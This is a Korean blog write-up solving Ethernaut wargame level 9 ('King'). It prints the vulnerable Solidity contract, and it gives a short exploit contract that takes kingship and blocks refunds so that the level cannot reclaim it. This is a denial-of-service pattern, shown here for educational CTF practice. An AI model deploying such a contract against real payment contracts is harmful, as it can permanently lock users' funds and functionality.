본문 바로가기
Write Up/Ethernaut - 블록체인 워게임

Ethernaut - 9단계 (King)

by p6rkdoye0n 2023. 11. 8.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

 

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

 

이더넛 9단계 문제이다. king을 가져오면 된다. receive 함수를 보니까 require 구문만 넘어가주면 king을 획득할 수 있을거 같다. 

 

require(msg.value >= prize || msg.value == owner)

 

해당 조건을 살펴보면 owner은 생성자를 통해서 처음 한번만 정의되므로 owner에 관한 조건을 뚫는 것은 불가능하니 전자의 조건을 살펴보았다.

 

우선 prize의 값을 출력해보겠다.

 

 

prize가  1000000000000000인 것을 알 수 있다. 즉, 1000000000000000 이상만 보내주면 king을 가져올 수 있을거 같다.

 

 

 

내 EOA를 통해서 1 ETH를 보내주면 다음과 같이 king을 가져올 수 있었다.

 

그렇지만 인스턴스를 가져오니까 답이 아니라는 메세지가 날라왔다.

 

 

알고보니 king을 획득하고 영원한 King으로 유지하는 것이 목표였다. 

 

 receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

 

그렇다면 king = msg.sender가 실행되기 전에 나의 컨트랙트로 날라오는 트랜잭션을 무시해주면 되므로 내가 보내는 CA 안에서 트랜잭션을 받지 못하도록 단순히 constructor만 만들어주겠다. 그렇게 된다면 king을 EOA나 다른 CA를 통해서 가져올 수 있는 일을 막을 수 있을 것이다.

 

다음은 해당 시나리오를 반영해서 만든 최종 익스플로잇 코드이다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exploit {
    constructor(address payable _to) payable {
        _to.call{value: msg.value}("");
    }
}
contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

 

 

값들을 올바르게 채워준 뒤에 deploy를 시켜주면 나의 CA주소로 king이 바뀐 것을 알 수가 있다.

 

 

이후에 인스턴스를 제출해주면 최종적으로 문제를 풀리는 것을 볼 수 있다.

 

🚩

'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글

Ethernaut - 11단계 (Elevator)  (2) 2023.11.17
Ethernaut - 10단계 (Re-entrancy)  (0) 2023.11.16
Ethernaut - 8단계 (Vault)  (0) 2023.11.08
Ethernaut - 7단계 (Force)  (0) 2023.11.07
Ethernaut - 6단계 (Delegation)  (0) 2023.11.07